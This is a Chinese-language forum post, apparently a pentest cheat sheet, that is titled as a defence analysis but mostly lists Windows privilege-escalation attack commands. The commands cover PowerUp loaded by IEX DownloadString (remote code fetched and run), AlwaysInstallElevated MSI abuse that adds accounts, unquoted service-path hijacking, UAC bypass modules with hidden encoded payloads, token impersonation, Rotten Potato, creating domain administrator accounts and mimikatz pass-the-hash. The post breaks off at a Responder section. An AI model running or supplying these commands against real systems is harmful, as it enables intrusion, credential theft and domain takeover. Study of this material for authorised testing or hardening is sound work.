標題:權限提升防禦分析

taibeihacker

Moderator

权限提升防御分析​

系统内核溢出漏洞提权​

手动执行命令发现缺失补丁​

1
2
systeminfo
wmic qfe get Caption,Description,HotfixID,InstalledOn
發現補丁編號
1
wmic qfe get Caption,Description,HotfixID,InstalledOn | findstr C:'KB3143141' C:/'KB976902'

Windows Exploit Suggester​

使用systeminfo 命令獲取當前系統的補丁安裝狀況,並將信息導入patches.txt 文件中
更新補丁信息
1
python windows-exploit-suggester.py --update
檢查漏洞
1
python windows-exploit-suggester.py -d 2019-02-02-mssb.xls -i patches.txt
Metasploit 內置local_exploit_suggester 模塊

powershell 中的 sherlock 脚本​

1
2
import-module .\Sherlock.ps1
Find-AllVulns

Windows 配置错误利用​

系统服务权限配置错误​

powerup​

1
powershell.exe -exec bypass -Command '{Import-Module .\PowerUP.ps1;Invoke-AllChecks}'
1
powershell.exe -exec bypass -c 'IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/P...master/PowerUp/PowerUp.ps1');Invoke-AllChecks'
20200213110922.png-water_print

metasploit 下的利用​

對應模塊service_permissions。

注册表键 AlwaysInstallElevated​

AlwaysInstallElevated 是一個策略設置。微軟允許非授權用戶以SYSTEM 權限運行安裝文件(MSI),如果用戶啟用此策略設置,那麼黑客利用惡意的MSI 文件就可以進行管理員權限的提升。假設我們拿到目標主機的Meterpreter 會話後並沒能通過一些常規方式取得SYSTEM 權限,那麼AlwaysInstallElevated 提權可以給我們帶來另一條思路。
手動檢測註冊表:
1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果值均為1,說明存在風險
PowerUp 腳本
1
powershell.exe -exec bypass -c 'IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/P...werUp.ps1');Get-RegistryAlwaysInstallElevated'
添加賬戶
1
Write-UserAddMSI
以普通用戶運行
1
msiexec /q /i UserAdd.smi
也可以利用msf 中的always_install_elevated 模塊

可信任服务路径漏洞​

metasploit 下的利用​

檢測目標機器是否存在漏洞
1
wmic service get name,displayname,pathname,startmode|findstr /i 'Auto' | findstr /i /v 'C:\Windows\\'|findstr /i /v '''
把要上傳的程序重命名並放置在此漏洞且可寫的目錄下,執行如下命令:
1
2
sc stop service_name
sc start service_name
也可以使用msf 中的Windows Service Trusted Path Privilege Escalation 模塊進行測試
注意: msf 要設置set AutoRunScript migrate -f 防止掉線

自动安装配置文件​

1
2
dir /b /s c:\Unattend.xml
dir /b /s c:\sysprep.xml
查看文件中知否存在base64 加密的密碼
msf 中集成了該漏洞的利用模塊post/windows/gather/enum_unattend

计划任务​

查看计划任务​

1
schtasks /query /fo LIST /v

查询可写的计划任务文件夹​

1
accesschk.exe -dqc 'C:\Microsoft' -accepteula

列出某个驱动器下所有权限配置有缺陷的文件夹​

1
2
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs'AuthenticatedUsers'c:\

列出某个驱动器下所有权限配置有缺陷的文件​

1
2
accesschk.exe -uwdqsUsersc:\*.*
accesschk.exe -uwdqs'AuthenticatedUsers'c:\*.*

Empire 内置模块​

1
usermode privesc/powerup/xxxx

绕过 UAC 提权​

bypassuac 模块​

前提:當前用戶必須在管理員組中
1
2
3
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_inject
getsystem

RunAs 模块​

1
exploit/windows/local/ask
彈出一個UAC 框,用戶點擊後會彈回一個高權限的shell
1
getuid 查看權限,如果是普通用戶權限,執行getsystem 提權

Nishang 中的 Invoke-PsUACme 模块​

1
2
3
4
Invoke-PsUACme -Verbose ## 使用Sysprep方法並執行默認的Payload
Invoke-PsUACme -method oobe -Verbose ## 使用oobe方法方法並執行默認的Payload
Invoke-PsUACme -Payload 'powershell -windowstyle hidden -e YourEncodedPayload'
## 使用-Payload參數,可以自行指定要執行的Payload

Empire 中的 bypassuac 模块​

bypassuac 模块​

1
2
usemode privesc/bypassuac
execute

bypassuac_wscript 模块​

1
2
usemode privesc/bypassuac_wscript
execute

令牌窃取​

msf 上的令牌窃取​

假設已經獲取了meterpreter shell
1
2
use incognito
list_tokens -u
在incognito 中調用impersonate_token
1
impersonate_token DESKTOP-DUNPKQ9\\Administrator
注意:在輸入主機名\ 用戶名時,需要輸入兩個反斜杠

Rotten Potato 本地提权​

1
2
3
4
use incognito
list_tokens -u
execute -HC -f rottenpotato.exe
impersonate_token 'NT AUTHORITY\\SYSTEM'

添加域管理员​

假設網絡中設置了域管進程,在meterpreter shell 中遷移進程至域管進程中
1
2
net user test test123!@# /ad /domain
net group 'domain admins' test /ad /domain
同樣,在meterpreter shell 中可以使用incognito 來模擬域管理員,然後通過迭代系統中所有可用的身份驗證令牌來添加域管理員。
在活動的meterpreter shell 中執行如下命令:
1
add_user test test!@#123 -h 1.1.1.2
執行如下命令,將該賬戶加到域管理員組中。
1
add_user 'Domain Admins' test -h 1.1.1.2

Empire 下的令牌窃取分析​

運行mimikatz,輸入creds
執行:
1
pth CredID

无凭证下的权限获取​

LLMNR 和 NetBIOS 欺骗攻击​

Responder 工具​

開啟監聽模式
 
返回
上方